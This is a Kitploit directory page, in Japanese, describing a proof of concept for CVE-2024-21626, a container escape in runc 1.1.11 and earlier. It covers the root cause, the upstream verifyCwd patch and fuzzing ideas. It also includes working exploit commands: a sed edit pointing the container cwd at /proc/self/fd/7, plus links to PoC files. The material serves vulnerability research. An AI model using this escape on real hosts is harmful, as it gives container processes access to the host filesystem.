Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-21626-PoC — 根本原因 & 概念验证代码 | Kitploit
ツール/GitHubGitHub/r4mbb/cve-2024-21626-poc
脆弱性分析エクスプロイトファジングペネトレーションテストコンテナエスケープバイナリエクスプロイト
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

根本原因 & 概念验证代码

リポジトリを見る
51年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-21626

根本原因 & 概念実証コード

poc-autoplay の使い方は?

root@kitploit:~
make install

make uninstall

1. 根本原因

  • runc v1.1.11 以下のバージョンでは、cgroup を設定するためにホストの /sys/fs/cgroup ディレクトリを開く過程で、そのファイルディスクリプタをコンテナ初期化プロセスで閉じずに残したままにしたため、この脆弱性が発生する。
  1. runc init 段階でホストの /sys/fs/cgroup を介して /proc/{PID}/fd/7 を取得。
  2. その fd を閉じないままコンテナの PID 1 を fork/exec。
  3. runc の spec または runc exec —cwd オプションで、作業ディレクトリ (cwd) を上記で取得した /proc/self/fd/7/ のように攻撃者が制御するパスに指定。
  4. chdir の後、PID 1 の cwd がコンテナの rootfs の外へ移動。
  5. コンテナ内部のプロセスがホストのファイルシステムにアクセスまたは変更できるようになり、Container escape が発生することを確認。
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
       "net"
       "os"
       +    "path/filepath"
       "runtime"
       "runtime/debug"
       "strconv"
       @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
       return nil
       }

       +// verifyCwd ensures that the current working directory is still inside
       +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
       +func verifyCwd() error {
       +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
       +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
       +   } else if err != nil {
       +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
       +   } else if !filepath.IsAbs(wd) {
           +       // Sanity check: cwd should always be absolute
               +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
               +   }
       +   return nil
           +}

           @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
               if err := system.ClearKeepCaps(); err != nil {
                   return fmt.Errorf("unable to clear keep caps: %w", err)
               }
               +    // After chdir to config.Cwd, ensure it’s still inside the container
                   +    if err := verifyCwd(); err != nil {
                       +        return err
                           +    }
               return nil
           }
  • chdir の直後に cwd を検証するロジックが追加された。
  • libcontainer/init_linux.go で verifyCwd() 関数を追加し、chdir の後に cwd が依然としてコンテナ内部にあるかを確認してから、err を発生させるかどうかを判断する。
  • 漏洩したファイルディスクリプタをすべて閉じるロジックが追加された。
  • 最終的な execve の直前にすべての内部用 fd を閉じるようにして、ホストの fd がコンテナプロセスに残らないようにした。

2. 概念実証

  • 環境
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • runc 自体を介したエクスプロイト
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

Docker 内部からローカルの / パスで開始。

  • コンテナ作成時に working directory を特定のファイルディスクリプタに設定する必要がある。 ホストの開いている fd とコンテナ内部の fd が接続されることで、docker escape が可能になる。

  • PoC ファイル -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. この脆弱性はどのようにファジングできるのか?

  • 脆弱な runc バイナリに対して go-fuzz を実行する方式。
  • 脆弱な関数である finalizeNamespace() 内の chdir(config.Cwd) 処理部分を対象に、ランダムな OCI config を入力値として与える方式で行うことができる。
  • この方式で、chdir 後の cwd において相対パスによる例外処理またはクラッシュ部分を分析すればよいと思われる。
  • 脆弱なバージョンの runc バイナリを対象に AFL++ で行う方式。
  • OCI spec JSON と runc CLI Argument をファジングする方式である。
  • OCI spec JSON の cwd 部分をターゲットに、chdir 地点で発生するクラッシュを分析すればよいと思われる。
ツールをダウンロード